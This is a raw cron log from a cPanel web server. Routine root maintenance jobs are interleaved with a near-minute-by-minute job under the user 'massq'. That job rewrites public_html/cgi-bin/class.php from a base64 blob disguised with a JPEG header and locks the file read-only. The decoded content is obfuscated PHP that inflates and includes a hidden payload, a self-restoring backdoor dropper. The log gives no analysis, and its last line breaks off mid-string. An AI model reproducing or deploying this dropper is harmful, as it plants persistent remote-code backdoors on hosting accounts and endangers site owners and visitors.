Aug 31 00:03:01 server CROND[27444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:04:01 server CROND[27813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:04:01 server CROND[27814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:04:01 server CROND[27816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:05:02 server CROND[28263]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:05:02 server CROND[28264]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 00:05:02 server CROND[28266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:05:02 server CROND[28267]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:05:02 server CROND[28270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:05:02 server CROND[28268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:05:02 server CROND[28271]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 00:05:02 server CROND[28269]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 00:06:01 server CROND[29109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:06:01 server CROND[29110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:06:01 server CROND[29111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:07:01 server CROND[29573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:07:01 server CROND[29574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:07:01 server CROND[29575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:08:01 server CROND[29994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:08:01 server CROND[29995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:08:01 server CROND[29996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:09:01 server CROND[30365]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 00:09:01 server CROND[30366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:09:01 server CROND[30367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:09:01 server CROND[30368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:10:01 server CROND[30786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:10:01 server CROND[30787]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 00:10:01 server CROND[30792]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:10:01 server CROND[30791]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 00:10:01 server CROND[30793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 00:10:01 server CROND[30789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:10:01 server CROND[30790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:10:01 server CROND[30788]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 00:11:01 server CROND[31621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:11:01 server CROND[31622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:11:01 server CROND[31624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:12:02 server CROND[31995]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 00:12:02 server CROND[31997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:12:02 server CROND[31996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:12:02 server CROND[31998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:13:01 server CROND[32357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:13:01 server CROND[32358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:13:01 server CROND[32359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:14:01 server CROND[385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 00:14:01 server CROND[386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 00:14:01 server CROND[387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 00:15:01 server CROND[849]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 00:15:01 server CROND[850]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 00:15:01 server CROND[848]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 00:15:01 server CROND[855]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 00:15:01 server CROND[856]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Aug 31 00:15:01 server CROND[858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wE